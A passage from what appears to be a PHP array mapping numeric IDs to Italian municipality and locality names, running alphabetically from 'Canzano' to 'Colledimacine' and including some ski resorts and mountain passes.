\"Canzano\",1271 => \"Canzo\",1272 => \"Caorle\",1273 => \"Caorso\",1274 => \"Capaccio\",1275 => \"Capaci\",1276 => \"Capalbio\",8242 => \"Capanna Margherita\",8297 => \"Capanne di Sillano\",1277 => \"Capannoli\",1278 => \"Capannori\",1279 => \"Capena\",1280 => \"Capergnanica\",1281 => \"Capestrano\",1282 => \"Capiago Intimiano\",1283 => \"Capistrano\",1284 => \"Capistrello\",1285 => \"Capitignano\",1286 => \"Capizzi\",1287 => \"Capizzone\",8609 => \"Capo Bellavista\",8113 => \"Capo Colonna\",1288 => \"Capo d'Orlando\",1289 => \"Capo di Ponte\",8676 => \"Capo Mele\",8607 => \"Capo Palinuro\",8112 => \"Capo Rizzuto\",1290 => \"Capodimonte\",1291 => \"Capodrise\",1292 => \"Capoliveri\",1293 => \"Capolona\",1294 => \"Caponago\",1295 => \"Caporciano\",1296 => \"Caposele\",1297 => \"Capoterra\",1298 => \"Capovalle\",1299 => \"Cappadocia\",1300 => \"Cappella Cantone\",1301 => \"Cappella de' Picenardi\",1302 => \"Cappella Maggiore\",1303 => \"Cappelle sul Tavo\",1304 => \"Capracotta\",1305 => \"Capraia e Limite\",1306 => \"Capraia isola\",1307 => \"Capralba\",1308 => \"Capranica\",1309 => \"Capranica Prenestina\",1310 => \"Caprarica di Lecce\",1311 => \"Caprarola\",1312 => \"Caprauna\",1313 => \"Caprese Michelangelo\",1314 => \"Caprezzo\",1315 => \"Capri\",1316 => \"Capri Leone\",1317 => \"Capriana\",1318 => \"Capriano del Colle\",1319 => \"Capriata d'Orba\",1320 => \"Capriate San Gervasio\",1321 => \"Capriati a Volturno\",1322 => \"Caprie\",1323 => \"Capriglia irpina\",1324 => \"Capriglio\",1325 => \"Caprile\",1326 => \"Caprino bergamasco\",1327 => \"Caprino veronese\",1328 => \"Capriolo\",1329 => \"Capriva del Friuli\",1330 => \"Capua\",1331 => \"Capurso\",1332 => \"Caraffa del Bianco\",1333 => \"Caraffa di Catanzaro\",1334 => \"Caraglio\",1335 => \"Caramagna Piemonte\",1336 => \"Caramanico terme\",1337 => \"Carano\",1338 => \"Carapelle\",1339 => \"Carapelle Calvisio\",1340 => \"Carasco\",1341 => \"Carassai\",1342 => \"Carate brianza\",1343 => \"Carate Urio\",1344 => \"Caravaggio\",1345 => \"Caravate\",1346 => \"Caravino\",1347 => \"Caravonica\",1348 => \"Carbognano\",1349 => \"Carbonara al Ticino\",1350 => \"Carbonara di Nola\",1351 => \"Carbonara di Po\",1352 => \"Carbonara Scrivia\",1353 => \"Carbonate\",8374 => \"Carbone\",1355 => \"Carbonera\",1356 => \"Carbonia\",1357 => \"Carcare\",1358 => \"Carceri\",1359 => \"Carcoforo\",1360 => \"Cardano al Campo\",1361 => \"Carde'\",1362 => \"Cardedu\",1363 => \"Cardeto\",1364 => \"Cardinale\",1365 => \"Cardito\",1366 => \"Careggine\",1367 => \"Carema\",1368 => \"Carenno\",1369 => \"Carentino\",1370 => \"Careri\",1371 => \"Caresana\",1372 => \"Caresanablot\",8625 => \"Carezza al lago\",1373 => \"Carezzano\",1374 => \"Carfizzi\",1375 => \"Cargeghe\",1376 => \"Cariati\",1377 => \"Carife\",1378 => \"Carignano\",1379 => \"Carimate\",1380 => \"Carinaro\",1381 => \"Carini\",1382 => \"Carinola\",1383 => \"Carisio\",1384 => \"Carisolo\",1385 => \"Carlantino\",1386 => \"Carlazzo\",1387 => \"Carlentini\",1388 => \"Carlino\",1389 => \"Carloforte\",1390 => \"Carlopoli\",1391 => \"Carmagnola\",1392 => \"Carmiano\",1393 => \"Carmignano\",1394 => \"Carmignano di Brenta\",1395 => \"Carnago\",1396 => \"Carnate\",1397 => \"Carobbio degli Angeli\",1398 => \"Carolei\",1399 => \"Carona\",8541 => \"Carona Carisole\",1400 => \"Caronia\",1401 => \"Caronno Pertusella\",1402 => \"Caronno varesino\",8253 => \"Carosello 3000\",1403 => \"Carosino\",1404 => \"Carovigno\",1405 => \"Carovilli\",1406 => \"Carpaneto piacentino\",1407 => \"Carpanzano\",1408 => \"Carpasio\",1409 => \"Carpegna\",1410 => \"Carpenedolo\",1411 => \"Carpeneto\",1412 => \"Carpi\",1413 => \"Carpiano\",1414 => \"Carpignano salentino\",1415 => \"Carpignano Sesia\",1416 => \"Carpineti\",1417 => \"Carpineto della Nora\",1418 => \"Carpineto romano\",1419 => \"Carpineto Sinello\",1420 => \"Carpino\",1421 => \"Carpinone\",1422 => \"Carrara\",1423 => \"Carre'\",1424 => \"Carrega ligure\",1425 => \"Carro\",1426 => \"Carrodano\",1427 => \"Carrosio\",1428 => \"Carru'\",1429 => \"Carsoli\",1430 => \"Cartigliano\",1431 => \"Cartignano\",1432 => \"Cartoceto\",1433 => \"Cartosio\",1434 => \"Cartura\",1435 => \"Carugate\",1436 => \"Carugo\",1437 => \"Carunchio\",1438 => \"Carvico\",1439 => \"Carzano\",1440 => \"Casabona\",1441 => \"Casacalenda\",1442 => \"Casacanditella\",1443 => \"Casagiove\",1444 => \"Casal Cermelli\",1445 => \"Casal di Principe\",1446 => \"Casal Velino\",1447 => \"Casalanguida\",1448 => \"Casalattico\",8648 => \"Casalavera\",1449 => \"Casalbeltrame\",1450 => \"Casalbordino\",1451 => \"Casalbore\",1452 => \"Casalborgone\",1453 => \"Casalbuono\",1454 => \"Casalbuttano ed Uniti\",1455 => \"Casalciprano\",1456 => \"Casalduni\",1457 => \"Casale Corte Cerro\",1458 => \"Casale cremasco Vidolasco\",1459 => \"Casale di Scodosia\",1460 => \"Casale Litta\",1461 => \"Casale marittimo\",1462 => \"Casale monferrato\",1463 => \"Casale sul Sile\",1464 => \"Casalecchio di Reno\",1465 => \"Casaleggio Boiro\",1466 => \"Casaleggio Novara\",1467 => \"Casaleone\",1468 => \"Casaletto Ceredano\",1469 => \"Casaletto di sopra\",1470 => \"Casaletto lodigiano\",1471 => \"Casaletto Spartano\",1472 => \"Casaletto Vaprio\",1473 => \"Casalfiumanese\",1474 => \"Casalgrande\",1475 => \"Casalgrasso\",1476 => \"Casalincontrada\",1477 => \"Casalino\",1478 => \"Casalmaggiore\",1479 => \"Casalmaiocco\",1480 => \"Casalmorano\",1481 => \"Casalmoro\",1482 => \"Casalnoceto\",1483 => \"Casalnuovo di Napoli\",1484 => \"Casalnuovo Monterotaro\",1485 => \"Casaloldo\",1486 => \"Casalpusterlengo\",1487 => \"Casalromano\",1488 => \"Casalserugo\",1489 => \"Casaluce\",1490 => \"Casalvecchio di Puglia\",1491 => \"Casalvecchio siculo\",1492 => \"Casalvieri\",1493 => \"Casalvolone\",1494 => \"Casalzuigno\",1495 => \"Casamarciano\",1496 => \"Casamassima\",1497 => \"Casamicciola terme\",1498 => \"Casandrino\",1499 => \"Casanova Elvo\",1500 => \"Casanova Lerrone\",1501 => \"Casanova Lonati\",1502 => \"Casape\",1503 => \"Casapesenna\",1504 => \"Casapinta\",1505 => \"Casaprota\",1506 => \"Casapulla\",1507 => \"Casarano\",1508 => \"Casargo\",1509 => \"Casarile\",1510 => \"Casarsa della Delizia\",1511 => \"Casarza ligure\",1512 => \"Casasco\",1513 => \"Casasco d'Intelvi\",1514 => \"Casatenovo\",1515 => \"Casatisma\",1516 => \"Casavatore\",1517 => \"Casazza\",8160 => \"Cascate del Toce\",1518 => \"Cascia\",1519 => \"Casciago\",1520 => \"Casciana terme\",1521 => \"Cascina\",1522 => \"Cascinette d'Ivrea\",1523 => \"Casei Gerola\",1524 => \"Caselette\",1525 => \"Casella\",1526 => \"Caselle in Pittari\",1527 => \"Caselle Landi\",1528 => \"Caselle Lurani\",1529 => \"Caselle torinese\",1530 => \"Caserta\",1531 => \"Casier\",1532 => \"Casignana\",1533 => \"Casina\",1534 => \"Casirate d'Adda\",1535 => \"Caslino d'Erba\",1536 => \"Casnate con Bernate\",1537 => \"Casnigo\",1538 => \"Casola di Napoli\",1539 => \"Casola in lunigiana\",1540 => \"Casola valsenio\",1541 => \"Casole Bruzio\",1542 => \"Casole d'Elsa\",1543 => \"Casoli\",1544 => \"Casorate Primo\",1545 => \"Casorate Sempione\",1546 => \"Casorezzo\",1547 => \"Casoria\",1548 => \"Casorzo\",1549 => \"Casperia\",1550 => \"Caspoggio\",1551 => \"Cassacco\",1552 => \"Cassago brianza\",1553 => \"Cassano allo Ionio\",1554 => \"Cassano d'Adda\",1555 => \"Cassano delle murge\",1556 => \"Cassano irpino\",1557 => \"Cassano Magnago\",1558 => \"Cassano Spinola\",1559 => \"Cassano valcuvia\",1560 => \"Cassaro\",1561 => \"Cassiglio\",1562 => \"Cassina de' Pecchi\",1563 => \"Cassina Rizzardi\",1564 => \"Cassina valsassina\",1565 => \"Cassinasco\",1566 => \"Cassine\",1567 => \"Cassinelle\",1568 => \"Cassinetta di Lugagnano\",1569 => \"Cassino\",1570 => \"Cassola\",1571 => \"Cassolnovo\",1572 => \"Castagnaro\",1573 => \"Castagneto Carducci\",1574 => \"Castagneto po\",1575 => \"Castagnito\",1576 => \"Castagnole delle Lanze\",1577 => \"Castagnole monferrato\",1578 => \"Castagnole Piemonte\",1579 => \"Castana\",1580 => \"Castano Primo\",1581 => \"Casteggio\",1582 => \"Castegnato\",1583 => \"Castegnero\",1584 => \"Castel Baronia\",1585 => \"Castel Boglione\",1586 => \"Castel bolognese\",1587 => \"Castel Campagnano\",1588 => \"Castel Castagna\",1589 => \"Castel Colonna\",1590 => \"Castel Condino\",1591 => \"Castel d'Aiano\",1592 => \"Castel d'Ario\",1593 => \"Castel d'Azzano\",1594 => \"Castel del Giudice\",1595 => \"Castel del monte\",1596 => \"Castel del piano\",1597 => \"Castel del rio\",1598 => \"Castel di Casio\",1599 => \"Castel di Ieri\",1600 => \"Castel di Iudica\",1601 => \"Castel di Lama\",1602 => \"Castel di Lucio\",1603 => \"Castel di Sangro\",1604 => \"Castel di Sasso\",1605 => \"Castel di Tora\",1606 => \"Castel Focognano\",1607 => \"Castel frentano\",1608 => \"Castel Gabbiano\",1609 => \"Castel Gandolfo\",1610 => \"Castel Giorgio\",1611 => \"Castel Goffredo\",1612 => \"Castel Guelfo di Bologna\",1613 => \"Castel Madama\",1614 => \"Castel Maggiore\",1615 => \"Castel Mella\",1616 => \"Castel Morrone\",1617 => \"Castel Ritaldi\",1618 => \"Castel Rocchero\",1619 => \"Castel Rozzone\",1620 => \"Castel San Giorgio\",1621 => \"Castel San Giovanni\",1622 => \"Castel San Lorenzo\",1623 => \"Castel San Niccolo'\",1624 => \"Castel San Pietro romano\",1625 => \"Castel San Pietro terme\",1626 => \"Castel San Vincenzo\",1627 => \"Castel Sant'Angelo\",1628 => \"Castel Sant'Elia\",1629 => \"Castel Viscardo\",1630 => \"Castel Vittorio\",1631 => \"Castel volturno\",1632 => \"Castelbaldo\",1633 => \"Castelbelforte\",1634 => \"Castelbellino\",1635 => \"Castelbello Ciardes\",1636 => \"Castelbianco\",1637 => \"Castelbottaccio\",1638 => \"Castelbuono\",1639 => \"Castelcivita\",1640 => \"Castelcovati\",1641 => \"Castelcucco\",1642 => \"Casteldaccia\",1643 => \"Casteldelci\",1644 => \"Casteldelfino\",1645 => \"Casteldidone\",1646 => \"Castelfidardo\",1647 => \"Castelfiorentino\",1648 => \"Castelfondo\",1649 => \"Castelforte\",1650 => \"Castelfranci\",1651 => \"Castelfranco di sopra\",1652 => \"Castelfranco di sotto\",1653 => \"Castelfranco Emilia\",1654 => \"Castelfranco in Miscano\",1655 => \"Castelfranco Veneto\",1656 => \"Castelgomberto\",8385 => \"Castelgrande\",1658 => \"Castelguglielmo\",1659 => \"Castelguidone\",1660 => \"Castell'alfero\",1661 => \"Castell'arquato\",1662 => \"Castell'azzara\",1663 => \"Castell'umberto\",1664 => \"Castellabate\",1665 => \"Castellafiume\",1666 => \"Castellalto\",1667 => \"Castellammare del Golfo\",1668 => \"Castellammare di Stabia\",1669 => \"Castellamonte\",1670 => \"Castellana Grotte\",1671 => \"Castellana sicula\",1672 => \"Castellaneta\",1673 => \"Castellania\",1674 => \"Castellanza\",1675 => \"Castellar\",1676 => \"Castellar Guidobono\",1677 => \"Castellarano\",1678 => \"Castellaro\",1679 => \"Castellazzo Bormida\",1680 => \"Castellazzo novarese\",1681 => \"Castelleone\",1682 => \"Castelleone di Suasa\",1683 => \"Castellero\",1684 => \"Castelletto Cervo\",1685 => \"Castelletto d'Erro\",1686 => \"Castelletto d'Orba\",1687 => \"Castelletto di Branduzzo\",1688 => \"Castelletto Merli\",1689 => \"Castelletto Molina\",1690 => \"Castelletto monferrato\",1691 => \"Castelletto sopra Ticino\",1692 => \"Castelletto Stura\",1693 => \"Castelletto Uzzone\",1694 => \"Castelli\",1695 => \"Castelli Calepio\",1696 => \"Castellina in chianti\",1697 => \"Castellina marittima\",1698 => \"Castellinaldo\",1699 => \"Castellino del Biferno\",1700 => \"Castellino Tanaro\",1701 => \"Castelliri\",1702 => \"Castello Cabiaglio\",1703 => \"Castello d'Agogna\",1704 => \"Castello d'Argile\",1705 => \"Castello del matese\",1706 => \"Castello dell'Acqua\",1707 => \"Castello di Annone\",1708 => \"Castello di brianza\",1709 => \"Castello di Cisterna\",1710 => \"Castello di Godego\",1711 => \"Castello di Serravalle\",1712 => \"Castello Lavazzo\",1714 => \"Castello Molina di Fiemme\",1713 => \"Castello tesino\",1715 => \"Castellucchio\",8219 => \"Castelluccio\",1716 => \"Castelluccio dei Sauri\",8395 => \"Castelluccio inferiore\",8359 => \"Castelluccio superiore\",1719 => \"Castelluccio valmaggiore\",8452 => \"Castelmadama casello\",1720 => \"Castelmagno\",1721 => \"Castelmarte\",1722 => \"Castelmassa\",1723 => \"Castelmauro\",8363 => \"Castelmezzano\",1725 => \"Castelmola\",1726 => \"Castelnovetto\",1727 => \"Castelnovo Bariano\",1728 => \"Castelnovo del Friuli\",1729 => \"Castelnovo di sotto\",8124 => \"Castelnovo ne' Monti\",1731 => \"Castelnuovo\",1732 => \"Castelnuovo Belbo\",1733 => \"Castelnuovo Berardenga\",1734 => \"Castelnuovo bocca d'Adda\",1735 => \"Castelnuovo Bormida\",1736 => \"Castelnuovo Bozzente\",1737 => \"Castelnuovo Calcea\",1738 => \"Castelnuovo cilento\",1739 => \"Castelnuovo del Garda\",1740 => \"Castelnuovo della daunia\",1741 => \"Castelnuovo di Ceva\",1742 => \"Castelnuovo di Conza\",1743 => \"Castelnuovo di Farfa\",1744 => \"Castelnuovo di Garfagnana\",1745 => \"Castelnuovo di Porto\",1746 => \"Castelnuovo di val di Cecina\",1747 => \"Castelnuovo Don Bosco\",1748 => \"Castelnuovo Magra\",1749 => \"Castelnuovo Nigra\",1750 => \"Castelnuovo Parano\",1751 => \"Castelnuovo Rangone\",1752 => \"Castelnuovo Scrivia\",1753 => \"Castelpagano\",1754 => \"Castelpetroso\",1755 => \"Castelpizzuto\",1756 => \"Castelplanio\",1757 => \"Castelpoto\",1758 => \"Castelraimondo\",1759 => \"Castelrotto\",1760 => \"Castelsantangelo sul Nera\",8378 => \"Castelsaraceno\",1762 => \"Castelsardo\",1763 => \"Castelseprio\",1764 => \"Castelsilano\",1765 => \"Castelspina\",1766 => \"Casteltermini\",1767 => \"Castelveccana\",1768 => \"Castelvecchio Calvisio\",1769 => \"Castelvecchio di Rocca Barbena\",1770 => \"Castelvecchio Subequo\",1771 => \"Castelvenere\",1772 => \"Castelverde\",1773 => \"Castelverrino\",1774 => \"Castelvetere in val fortore\",1775 => \"Castelvetere sul Calore\",1776 => \"Castelvetrano\",1777 => \"Castelvetro di Modena\",1778 => \"Castelvetro piacentino\",1779 => \"Castelvisconti\",1780 => \"Castenaso\",1781 => \"Castenedolo\",1782 => \"Castiadas\",1783 => \"Castiglion Fibocchi\",1784 => \"Castiglion fiorentino\",8193 => \"Castiglioncello\",1785 => \"Castiglione a Casauria\",1786 => \"Castiglione chiavarese\",1787 => \"Castiglione cosentino\",1788 => \"Castiglione d'Adda\",1789 => \"Castiglione d'Intelvi\",1790 => \"Castiglione d'Orcia\",1791 => \"Castiglione dei Pepoli\",1792 => \"Castiglione del Genovesi\",1793 => \"Castiglione del Lago\",1794 => \"Castiglione della Pescaia\",1795 => \"Castiglione delle Stiviere\",1796 => \"Castiglione di garfagnana\",1797 => \"Castiglione di Sicilia\",1798 => \"Castiglione Falletto\",1799 => \"Castiglione in teverina\",1800 => \"Castiglione Messer Marino\",1801 => \"Castiglione Messer Raimondo\",1802 => \"Castiglione Olona\",1803 => \"Castiglione Tinella\",1804 => \"Castiglione torinese\",1805 => \"Castignano\",1806 => \"Castilenti\",1807 => \"Castino\",1808 => \"Castione Andevenno\",1809 => \"Castione della Presolana\",1810 => \"Castions di Strada\",1811 => \"Castiraga Vidardo\",1812 => \"Casto\",1813 => \"Castorano\",8723 => \"Castore\",1814 => \"Castrezzato\",1815 => \"Castri di Lecce\",1816 => \"Castrignano de' Greci\",1817 => \"Castrignano del Capo\",1818 => \"Castro\",1819 => \"Castro\",1820 => \"Castro dei Volsci\",8167 => \"Castro Marina\",1821 => \"Castrocaro terme e terra del Sole\",1822 => \"Castrocielo\",1823 => \"Castrofilippo\",1824 => \"Castrolibero\",1825 => \"Castronno\",1826 => \"Castronuovo di Sant'Andrea\",1827 => \"Castronuovo di Sicilia\",1828 => \"Castropignano\",1829 => \"Castroreale\",1830 => \"Castroregio\",1831 => \"Castrovillari\",1832 => \"Catania\",8273 => \"Catania Fontanarossa\",1833 => \"Catanzaro\",1834 => \"Catenanuova\",1835 => \"Catignano\",8281 => \"Catinaccio\",1836 => \"Cattolica\",1837 => \"Cattolica Eraclea\",1838 => \"Caulonia\",8673 => \"Caulonia Marina\",1839 => \"Cautano\",1840 => \"Cava de' Tirreni\",1841 => \"Cava manara\",1842 => \"Cavacurta\",1843 => \"Cavaglia'\",1844 => \"Cavaglietto\",1845 => \"Cavaglio d'Agogna\",1846 => \"Cavaglio Spoccia\",1847 => \"Cavagnolo\",1848 => \"Cavaion veronese\",1849 => \"Cavalese\",1850 => \"Cavallasca\",1851 => \"Cavallerleone\",1852 => \"Cavallermaggiore\",1853 => \"Cavallino\",8657 => \"Cavallino\",1854 => \"Cavallino treporti\",1855 => \"Cavallirio\",1856 => \"Cavareno\",1857 => \"Cavargna\",1858 => \"Cavaria con Premezzo\",1859 => \"Cavarzere\",1860 => \"Cavaso del Tomba\",1861 => \"Cavasso nuovo\",1862 => \"Cavatore\",1863 => \"Cavazzo carnico\",1864 => \"Cave\",1865 => \"Cavedago\",1866 => \"Cavedine\",1867 => \"Cavenago d'Adda\",1868 => \"Cavenago di brianza\",1869 => \"Cavernago\",1870 => \"Cavezzo\",1871 => \"Cavizzana\",1872 => \"Cavour\",1873 => \"Cavriago\",1874 => \"Cavriana\",1875 => \"Cavriglia\",1876 => \"Cazzago Brabbia\",1877 => \"Cazzago San Martino\",1878 => \"Cazzano di Tramigna\",1879 => \"Cazzano Sant'Andrea\",1880 => \"Ceccano\",1881 => \"Cecima\",1882 => \"Cecina\",1883 => \"Cedegolo\",1884 => \"Cedrasco\",1885 => \"Cefala' Diana\",1886 => \"Cefalu'\",1887 => \"Ceggia\",1888 => \"Ceglie Messapica\",1889 => \"Celano\",1890 => \"Celenza sul Trigno\",1891 => \"Celenza valfortore\",1892 => \"Celico\",1893 => \"Cella dati\",1894 => \"Cella monte\",1895 => \"Cellamare\",1896 => \"Cellara\",1897 => \"Cellarengo\",1898 => \"Cellatica\",1899 => \"Celle di Bulgheria\",1900 => \"Celle di Macra\",1901 => \"Celle di San Vito\",1902 => \"Celle Enomondo\",1903 => \"Celle ligure\",1904 => \"Celleno\",1905 => \"Cellere\",1906 => \"Cellino Attanasio\",1907 => \"Cellino San Marco\",1908 => \"Cellio\",1909 => \"Cellole\",1910 => \"Cembra\",1911 => \"Cenadi\",1912 => \"Cenate sopra\",1913 => \"Cenate sotto\",1914 => \"Cencenighe Agordino\",1915 => \"Cene\",1916 => \"Ceneselli\",1917 => \"Cengio\",1918 => \"Centa San Nicolo'\",1919 => \"Centallo\",1920 => \"Cento\",1921 => \"Centola\",1922 => \"Centrache\",1923 => \"Centuripe\",1924 => \"Cepagatti\",1925 => \"Ceppaloni\",1926 => \"Ceppo Morelli\",1927 => \"Ceprano\",1928 => \"Cerami\",1929 => \"Ceranesi\",1930 => \"Cerano\",1931 => \"Cerano d'intelvi\",1932 => \"Ceranova\",1933 => \"Ceraso\",1934 => \"Cercemaggiore\",1935 => \"Cercenasco\",1936 => \"Cercepiccola\",1937 => \"Cerchiara di Calabria\",1938 => \"Cerchio\",1939 => \"Cercino\",1940 => \"Cercivento\",1941 => \"Cercola\",1942 => \"Cerda\",1943 => \"Cerea\",1944 => \"Ceregnano\",1945 => \"Cerenzia\",1946 => \"Ceres\",1947 => \"Ceresara\",1948 => \"Cereseto\",1949 => \"Ceresole Alba\",1950 => \"Ceresole reale\",1951 => \"Cerete\",1952 => \"Ceretto lomellina\",1953 => \"Cergnago\",1954 => \"Ceriale\",1955 => \"Ceriana\",1956 => \"Ceriano Laghetto\",1957 => \"Cerignale\",1958 => \"Cerignola\",1959 => \"Cerisano\",1960 => \"Cermenate\",1961 => \"Cermes\",1962 => \"Cermignano\",1963 => \"Cernobbio\",1964 => \"Cernusco lombardone\",1965 => \"Cernusco sul Naviglio\",1966 => \"Cerreto Castello\",1967 => \"Cerreto d'Asti\",1968 => \"Cerreto d'Esi\",1969 => \"Cerreto di Spoleto\",1970 => \"Cerreto Grue\",1971 => \"Cerreto Guidi\",1972 => \"Cerreto langhe\",1973 => \"Cerreto laziale\",1974 => \"Cerreto sannita\",1975 => \"Cerrina monferrato\",1976 => \"Cerrione\",1977 => \"Cerro al Lambro\",1978 => \"Cerro al Volturno\",1979 => \"Cerro maggiore\",1980 => \"Cerro Tanaro\",1981 => \"Cerro veronese\",8396 => \"Cersosimo\",1983 => \"Certaldo\",1984 => \"Certosa di Pavia\",1985 => \"Cerva\",1986 => \"Cervara di Roma\",1987 => \"Cervarese Santa Croce\",1988 => \"Cervaro\",1989 => \"Cervasca\",1990 => \"Cervatto\",1991 => \"Cerveno\",1992 => \"Cervere\",1993 => \"Cervesina\",1994 => \"Cerveteri\",1995 => \"Cervia\",1996 => \"Cervicati\",1997 => \"Cervignano d'Adda\",1998 => \"Cervignano del Friuli\",1999 => \"Cervinara\",2000 => \"Cervino\",2001 => \"Cervo\",2002 => \"Cerzeto\",2003 => \"Cesa\",2004 => \"Cesana brianza\",2005 => \"Cesana torinese\",2006 => \"Cesano Boscone\",2007 => \"Cesano Maderno\",2008 => \"Cesara\",2009 => \"Cesaro'\",2010 => \"Cesate\",2011 => \"Cesena\",2012 => \"Cesenatico\",2013 => \"Cesinali\",2014 => \"Cesio\",2015 => \"Cesiomaggiore\",2016 => \"Cessalto\",2017 => \"Cessaniti\",2018 => \"Cessapalombo\",2019 => \"Cessole\",2020 => \"Cetara\",2021 => \"Ceto\",2022 => \"Cetona\",2023 => \"Cetraro\",2024 => \"Ceva\",8721 => \"Cevedale\",2025 => \"Cevo\",2026 => \"Challand Saint Anselme\",2027 => \"Challand Saint Victor\",2028 => \"Chambave\",2029 => \"Chamois\",8255 => \"Chamole`\",2030 => \"Champdepraz\",8225 => \"Champoluc\",2031 => \"Champorcher\",8331 => \"Champorcher Cimetta Rossa\",8330 => \"Champorcher Laris\",2032 => \"Charvensod\",2033 => \"Chatillon\",2034 => \"Cherasco\",2035 => \"Cheremule\",8668 => \"Chesal\",2036 => \"Chialamberto\",2037 => \"Chiampo\",2038 => \"Chianche\",2039 => \"Chianciano terme\",2040 => \"Chianni\",2041 => \"Chianocco\",2042 => \"Chiaramonte Gulfi\",2043 => \"Chiaramonti\",2044 => \"Chiarano\",2045 => \"Chiaravalle\",2046 => \"Chiaravalle centrale\",8151 => \"Chiareggio\",2047 => \"Chiari\",2048 => \"Chiaromonte\",8432 => \"Chiasso\",2049 => \"Chiauci\",2050 => \"Chiavari\",2051 => \"Chiavenna\",2052 => \"Chiaverano\",2053 => \"Chienes\",2054 => \"Chieri\",2055 => \"Chies d'Alpago\",2056 => \"Chiesa in valmalenco\",2057 => \"Chiesanuova\",2058 => \"Chiesina uzzanese\",2059 => \"Chieti\",8319 => \"Chieti Scalo\",2060 => \"Chieuti\",2061 => \"Chieve\",2062 => \"Chignolo d'Isola\",2063 => \"Chignolo Po\",2064 => \"Chioggia\",2065 => \"Chiomonte\",2066 => \"Chions\",2067 => \"Chiopris Viscone\",2068 => \"Chitignano\",2069 => \"Chiuduno\",2070 => \"Chiuppano\",2071 => \"Chiuro\",2072 => \"Chiusa\",2073 => \"Chiusa di Pesio\",2074 => \"Chiusa di San Michele\",2075 => \"Chiusa Sclafani\",2076 => \"Chiusaforte\",2077 => \"Chiusanico\",2078 => \"Chiusano d'Asti\",2079 => \"Chiusano di San Domenico\",2080 => \"Chiusavecchia\",2081 => \"Chiusdino\",2082 => \"Chiusi\",2083 => \"Chiusi della Verna\",2084 => \"Chivasso\",8515 => \"Ciampac Alba\",2085 => \"Ciampino\",2086 => \"Cianciana\",2087 => \"Cibiana di cadore\",2088 => \"Cicagna\",2089 => \"Cicala\",2090 => \"Cicciano\",2091 => \"Cicerale\",2092 => \"Ciciliano\",2093 => \"Cicognolo\",2094 => \"Ciconio\",2095 => \"Cigliano\",2096 => \"Ciglie'\",2097 => \"Cigognola\",2098 => \"Cigole\",2099 => \"Cilavegna\",8340 => \"Cima Durand\",8590 => \"Cima Pisciadu'\",8764 => \"Cima Plose\",8703 => \"Cima Portavescovo\",8282 => \"Cima Sole\",2100 => \"Cimadolmo\",2101 => \"Cimbergo\",8332 => \"Cime Bianche\",2102 => \"Cimego\",2103 => \"Cimina'\",2104 => \"Ciminna\",2105 => \"Cimitile\",2106 => \"Cimolais\",8433 => \"Cimoncino\",2107 => \"Cimone\",2108 => \"Cinaglio\",2109 => \"Cineto romano\",2110 => \"Cingia de' Botti\",2111 => \"Cingoli\",2112 => \"Cinigiano\",2113 => \"Cinisello Balsamo\",2114 => \"Cinisi\",2115 => \"Cino\",2116 => \"Cinquefrondi\",2117 => \"Cintano\",2118 => \"Cinte tesino\",2119 => \"Cinto Caomaggiore\",2120 => \"Cinto Euganeo\",2121 => \"Cinzano\",2122 => \"Ciorlano\",2123 => \"Cipressa\",2124 => \"Circello\",2125 => \"Cirie'\",2126 => \"Cirigliano\",2127 => \"Cirimido\",2128 => \"Ciro'\",2129 => \"Ciro' marina\",2130 => \"Cis\",2131 => \"Cisano bergamasco\",2132 => \"Cisano sul Neva\",2133 => \"Ciserano\",2134 => \"Cislago\",2135 => \"Cisliano\",2136 => \"Cismon del Grappa\",2137 => \"Cison di valmarino\",2138 => \"Cissone\",2139 => \"Cisterna d'Asti\",2140 => \"Cisterna di Latina\",2141 => \"Cisternino\",2142 => \"Citerna\",8142 => \"Città del Vaticano\",2143 => \"Citta' della Pieve\",2144 => \"Citta' di Castello\",2145 => \"Citta' Sant'Angelo\",2146 => \"Cittadella\",2147 => \"Cittaducale\",2148 => \"Cittanova\",2149 => \"Cittareale\",2150 => \"Cittiglio\",2151 => \"Civate\",2152 => \"Civenna\",2153 => \"Civezza\",2154 => \"Civezzano\",2155 => \"Civiasco\",2156 => \"Cividale del Friuli\",2157 => \"Cividate al piano\",2158 => \"Cividate camuno\",2159 => \"Civita\",2160 => \"Civita Castellana\",2161 => \"Civita d'Antino\",2162 => \"Civitacampomarano\",2163 => \"Civitaluparella\",2164 => \"Civitanova del sannio\",2165 => \"Civitanova Marche\",8356 => \"Civitaquana\",2167 => \"Civitavecchia\",2168 => \"Civitella Alfedena\",2169 => \"Civitella Casanova\",2170 => \"Civitella d'Agliano\",2171 => \"Civitella del Tronto\",2172 => \"Civitella di Romagna\",2173 => \"Civitella in val di Chiana\",2174 => \"Civitella Messer Raimondo\",2175 => \"Civitella Paganico\",2176 => \"Civitella Roveto\",2177 => \"Civitella San Paolo\",2178 => \"Civo\",2179 => \"Claino con osteno\",2180 => \"Claut\",2181 => \"Clauzetto\",2182 => \"Clavesana\",2183 => \"Claviere\",2184 => \"Cles\",2185 => \"Cleto\",2186 => \"Clivio\",2187 => \"Cloz\",2188 => \"Clusone\",2189 => \"Coassolo torinese\",2190 => \"Coazze\",2191 => \"Coazzolo\",2192 => \"Coccaglio\",2193 => \"Cocconato\",2194 => \"Cocquio Trevisago\",2195 => \"Cocullo\",2196 => \"Codevigo\",2197 => \"Codevilla\",2198 => \"Codigoro\",2199 => \"Codogne'\",2200 => \"Codogno\",2201 => \"Codroipo\",2202 => \"Codrongianos\",2203 => \"Coggiola\",2204 => \"Cogliate\",2205 => \"Cogne\",8654 => \"Cogne Lillaz\",2206 => \"Cogoleto\",2207 => \"Cogollo del Cengio\",5049 => \"Cogolo\",2208 => \"Cogorno\",8354 => \"Col de Joux\",8604 => \"Col Indes\",2209 => \"Colazza\",2210 => \"Colbordolo\",2211 => \"Colere\",2212 => \"Colfelice\",8217 => \"Colfiorito\",8761 => \"Colfosco\",2213 => \"Coli\",2214 => \"Colico\",2215 => \"Collagna\",2216 => \"Collalto sabino\",2217 => \"Collarmele\",2218 => \"Collazzone\",8249 => \"Colle Bettaforca\",2219 => \"Colle Brianza\",2220 => \"Colle d'Anchise\",8687 => \"Colle del Gran San Bernardo\",8688 => \"Colle del Moncenisio\",8686 => \"Colle del Piccolo San Bernardo\",8481 => \"Colle del Prel\",2221 => \"Colle di Tora\",2222 => \"Colle di val d'Elsa\",2223 => \"Colle San Magno\",2224 => \"Colle sannita\",2225 => \"Colle Santa Lucia\",8246 => \"Colle Sarezza\",2226 => \"Colle Umberto\",2227 => \"Collebeato\",2228 => \"Collecchio\",2229 => \"Collecorvino\",2230 => \"Colledara\",8453 => \"Colledara casello\",2231 => \"Colledimacine\",2232 => 